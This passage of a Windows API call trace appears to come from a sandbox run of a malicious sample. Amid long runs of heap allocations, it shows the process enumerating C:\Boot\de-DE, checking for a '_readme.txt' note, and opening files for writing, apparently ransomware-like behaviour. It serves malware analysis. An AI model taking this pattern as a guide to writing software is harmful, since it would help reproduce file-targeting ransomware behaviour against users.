lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.753] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.753] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.753] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.753] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.753] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.753] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.753] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.753] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.753] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.753] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.753] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.753] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.753] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.754] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.754] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.754] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.754] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.754] PathFindFileNameW (pszPath="C:\\Boot\\de-DE\\") returned="de-DE\\" [0066.754] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.754] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.754] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.754] PathFindFileNameW (pszPath="") returned="" [0066.754] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.754] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.754] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.754] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.754] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.754] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.754] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.754] PathAppendW (in: pszPath="C:\\Boot\\de-DE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 1 [0066.755] PathFileExistsW (pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 1 [0066.755] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.755] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb318dc10, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb318dc10, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.755] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.755] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb318dc10, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb318dc10, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.755] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.755] PathFindExtensionW (pszPath="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned=".mui" [0066.755] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.755] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.755] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb318dc10, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb318dc10, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb318dc10, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.755] PathFindExtensionW (pszPath="C:\\Boot\\de-DE\\_readme.txt") returned=".txt" [0066.755] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.755] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb318dc10, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb318dc10, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb318dc10, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.755] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.755] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.755] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602d0 | out: hHeap=0x5d0000) returned 1 [0066.755] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.755] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.755] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.755] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.759] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.760] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.760] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 